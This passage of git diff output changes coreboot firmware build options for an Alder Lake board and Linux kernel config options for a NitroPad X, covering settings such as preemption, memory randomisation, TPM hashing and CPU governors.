CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 CONFIG_CPU_XTAL_HZ=38400000 CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 CONFIG_SOC_INTEL_I2C_DEV_MAX=8 +# CONFIG_ENABLE_SATA_TEST_MODE is not set CONFIG_SOC_INTEL_UART_DEV_MAX=7 -CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" @@ -266,8 +280,7 @@ CONFIG_DATA_BUS_WIDTH=128 CONFIG_DIMMS_PER_CHANNEL=2 CONFIG_MRC_CHANNEL_WIDTH=16 CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y -CONFIG_USE_FSP_MP_INIT=y -# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y CONFIG_SI_DESC_REGION="SI_DESC" CONFIG_SI_DESC_REGION_SZ=4096 # CONFIG_BUILDING_WITH_DEBUG_FSP is not set @@ -275,14 +288,20 @@ CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set +CONFIG_HSPHY_FW_MAX_SIZE=0x8000 CONFIG_MAX_HECI_DEVICES=6 CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_PCIEXP_ASPM=y +CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_UART_PCI_ADDR=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_INTEL_TME=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_SOC_INTEL_COMMON=y @@ -298,10 +317,14 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y +CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y @@ -310,13 +333,14 @@ CONFIG_COS_MAPPED_TO_MSB=y CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y CONFIG_CPU_SUPPORTS_INTEL_TME=y -CONFIG_INTEL_TME=y +# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_HAVE_HAP=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" @@ -330,6 +354,9 @@ CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y +CONFIG_ME_SPEC=16 CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y @@ -354,6 +381,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y +# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y @@ -367,7 +396,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y @@ -376,8 +404,10 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y # CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set +# CONFIG_ENABLE_TCSS_USB_DETECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -387,6 +417,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y @@ -398,12 +430,14 @@ CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y # # Intel SoC Common coreboot stages and non-IP blocks # CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y CONFIG_SOC_INTEL_COMMON_RESET=y CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y CONFIG_PAVP=y @@ -415,14 +449,13 @@ CONFIG_SOC_INTEL_CRASHLOG=y # # CPU # -CONFIG_SSE2=y CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y CONFIG_CPU_INTEL_COMMON=y CONFIG_ENABLE_VMX=y CONFIG_SET_IA32_FC_LOCK_BIT=y CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y CONFIG_PARALLEL_MP=y CONFIG_PARALLEL_MP_AP_WORK=y CONFIG_XAPIC_ONLY=y @@ -431,13 +464,14 @@ CONFIG_XAPIC_ONLY=y # CONFIG_X2APIC_LATE_WORKAROUND is not set CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_LOGICAL_CPUS=y +CONFIG_X86_CLFLUSH_CAR=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y -CONFIG_SMM_STUB_STACK_SIZE=0x400 -CONFIG_CPU_INFO_V2=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y CONFIG_SSE=y +CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y @@ -468,9 +502,9 @@ CONFIG_RCBA_LENGTH=0x4000 # # Embedded Controllers # +CONFIG_EC_ACPI=y CONFIG_EC_SYSTEM76_EC=y CONFIG_EC_SYSTEM76_EC_DGPU=y -CONFIG_EC_SYSTEM76_EC_ACPI_DEVICE_HID="17761776" # # Intel Firmware @@ -481,12 +515,13 @@ CONFIG_HAVE_ME_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 CONFIG_UDK_2017_VERSION=2017 CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202111_VERSION=202111 +CONFIG_UDK_202302_VERSION=202302 CONFIG_UDK_VERSION=202005 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y @@ -496,7 +531,6 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_X86_CUSTOM_BOOTMEDIA=y -CONFIG_NUM_IPI_STARTS=2 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -509,6 +543,7 @@ CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -519,6 +554,7 @@ CONFIG_HAVE_FSP_GOP=y # CONFIG_VGA_ROM_RUN is not set CONFIG_RUN_FSP_GOP=y # CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y # # Display @@ -531,7 +567,6 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_AZALIA_PLUGIN_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y @@ -540,8 +575,11 @@ CONFIG_PCI_ALLOW_BUS_MASTER=y CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -549,7 +587,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATOR_V4=y +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # end of Devices # @@ -561,10 +599,12 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SMMSTORE=y +# CONFIG_SMMSTORE_V2 is not set +CONFIG_SMMSTORE_SIZE=0x40000 CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -575,6 +615,7 @@ CONFIG_DRIVERS_UART_8250MEM_32=y # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set @@ -608,6 +649,7 @@ CONFIG_FSPS_USE_MULTI_PHASE_INIT=y CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y CONFIG_INTEL_GMA_ACPI=y CONFIG_INTEL_GMA_OPREGION_2_1=y CONFIG_DRIVERS_INTEL_PMC=y @@ -615,6 +657,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -650,8 +693,17 @@ CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM2=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_MEASURED_BOOT=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -661,6 +713,7 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set # end of Memory initialization +CONFIG_INTEL_TXT_LIB=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set @@ -673,6 +726,8 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_ACPI_LPIT=y CONFIG_BOOT_DEVICE_SPI_FLASH=y @@ -692,6 +747,7 @@ CONFIG_FIXED_UART_FOR_CONSOLE=y CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_CONSOLE_SYSTEM76_EC is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y @@ -709,6 +765,7 @@ CONFIG_CONSOLE_USE_ANSI_ESCAPES=y CONFIG_HWBASE_DEBUG_CB=y # end of Console +CONFIG_ACPI_S1_NOT_SUPPORTED=y CONFIG_HAVE_ACPI_RESUME=y CONFIG_RESUME_PATH_SAME_AS_BOOT=y CONFIG_HAVE_MONOTONIC_TIMER=y @@ -734,13 +791,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -772,6 +828,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set @@ -787,7 +844,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -795,9 +851,11 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_MAX_REBOOT_CNT=3 CONFIG_RELOCATABLE_MODULES=y From 862f58f0da7d8cf1f11bd5730c072fc2edd87e52 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 13:43:23 -0400 Subject: [PATCH 107/619] config/linux-nitropad-x.config: bring par with librem_11 shared linux config (GOP compliant) TODO: next, readd what might have been pertinent Signed-off-by: Thierry Laurion --- config/linux-nitropad-x.config | 561 ++++++++------------------------- 1 file changed, 134 insertions(+), 427 deletions(-) diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index bdcb3e703..70590d5b1 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -110,13 +110,11 @@ CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_BPF_JIT is not set # end of BPF subsystem -CONFIG_PREEMPT_BUILD=y -# CONFIG_PREEMPT_NONE is not set -CONFIG_PREEMPT_VOLUNTARY=y +CONFIG_PREEMPT_NONE_BUILD=y +CONFIG_PREEMPT_NONE=y +# CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set -CONFIG_PREEMPT_COUNT=y -CONFIG_PREEMPTION=y -CONFIG_PREEMPT_DYNAMIC=y +# CONFIG_PREEMPT_DYNAMIC is not set # CONFIG_SCHED_CORE is not set # @@ -134,7 +132,6 @@ CONFIG_TICK_CPU_ACCOUNTING=y # RCU Subsystem # CONFIG_TREE_RCU=y -CONFIG_PREEMPT_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y CONFIG_TREE_SRCU=y @@ -261,7 +258,7 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y -CONFIG_X86_MPPARSE=y +# CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set @@ -273,11 +270,14 @@ CONFIG_SCHED_OMIT_FRAME_POINTER=y # CONFIG_HYPERVISOR_GUEST is not set # CONFIG_MK8 is not set # CONFIG_MPSC is not set -# CONFIG_MCORE2 is not set +CONFIG_MCORE2=y # CONFIG_MATOM is not set -CONFIG_GENERIC_CPU=y +# CONFIG_GENERIC_CPU is not set CONFIG_X86_INTERNODE_CACHE_SHIFT=6 CONFIG_X86_L1_CACHE_SHIFT=6 +CONFIG_X86_INTEL_USERCOPY=y +CONFIG_X86_USE_PPRO_CHECKSUM=y +CONFIG_X86_P6_NOP=y CONFIG_X86_TSC=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y @@ -299,7 +299,7 @@ CONFIG_BOOT_VESA_SUPPORT=y CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y @@ -315,9 +315,9 @@ CONFIG_X86_MCE_THRESHOLD=y # # Performance monitoring # -CONFIG_PERF_EVENTS_INTEL_UNCORE=y +# CONFIG_PERF_EVENTS_INTEL_UNCORE is not set # CONFIG_PERF_EVENTS_INTEL_RAPL is not set -CONFIG_PERF_EVENTS_INTEL_CSTATE=y +# CONFIG_PERF_EVENTS_INTEL_CSTATE is not set # end of Performance monitoring # CONFIG_X86_VSYSCALL_EMULATION is not set @@ -355,8 +355,13 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set @@ -435,10 +440,10 @@ CONFIG_X86_PM_TIMER=y CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_GOV_ATTR_SET=y # CONFIG_CPU_FREQ_STAT is not set -# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set -CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_GOV_POWERSAVE is not set # CONFIG_CPU_FREQ_GOV_USERSPACE is not set @@ -478,8 +483,7 @@ CONFIG_CPU_IDLE_GOV_MENU=y # Bus options (PCI etc.) # CONFIG_PCI_DIRECT=y -CONFIG_PCI_MMCONFIG=y -CONFIG_MMCONF_FAM10H=y +# CONFIG_PCI_MMCONFIG is not set # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y @@ -642,7 +646,8 @@ CONFIG_MODULE_COMPRESS_NONE=y # CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set CONFIG_MODPROBE_PATH="/sbin/modprobe" -# CONFIG_TRIM_UNUSED_KSYMS is not set +CONFIG_TRIM_UNUSED_KSYMS=y +CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y CONFIG_BLOCK_LEGACY_AUTOLOAD=y @@ -674,8 +679,11 @@ CONFIG_MQ_IOSCHED_DEADLINE=y # CONFIG_IOSCHED_BFQ is not set # end of IO Schedulers -CONFIG_ASN1=m -CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y @@ -887,12 +895,10 @@ CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y CONFIG_PCI_QUIRKS=y # CONFIG_PCI_DEBUG is not set -# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set # CONFIG_PCI_STUB is not set -# CONFIG_PCI_PF_STUB is not set CONFIG_PCI_ATS=y CONFIG_PCI_LOCKLESS_CONFIG=y -CONFIG_PCI_IOV=y +# CONFIG_PCI_IOV is not set CONFIG_PCI_PRI=y CONFIG_PCI_PASID=y CONFIG_PCI_LABEL=y @@ -1003,7 +1009,7 @@ CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y # CONFIG_ISCSI_IBFT is not set # CONFIG_FW_CFG_SYSFS is not set CONFIG_SYSFB=y -# CONFIG_SYSFB_SIMPLEFB is not set +CONFIG_SYSFB_SIMPLEFB=y # CONFIG_GOOGLE_FIRMWARE is not set # @@ -1035,7 +1041,7 @@ CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y # CONFIG_PARPORT is not set CONFIG_PNP=y -CONFIG_PNP_DEBUG_MESSAGES=y +# CONFIG_PNP_DEBUG_MESSAGES is not set # # Protocols @@ -1046,7 +1052,6 @@ CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_FD is not set CONFIG_CDROM=y # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set -# CONFIG_ZRAM is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set @@ -1074,22 +1079,12 @@ CONFIG_BLK_DEV_NVME=y # # Misc devices # -# CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_TIFM_CORE is not set -# CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set -# CONFIG_APDS9802ALS is not set -# CONFIG_ISL29003 is not set -# CONFIG_ISL29020 is not set -# CONFIG_SENSORS_TSL2550 is not set -# CONFIG_SENSORS_BH1770 is not set -# CONFIG_SENSORS_APDS990X is not set -# CONFIG_HMC6352 is not set -# CONFIG_DS1682 is not set # CONFIG_SRAM is not set # CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set @@ -1099,12 +1094,7 @@ CONFIG_BLK_DEV_NVME=y # # EEPROM support # -# 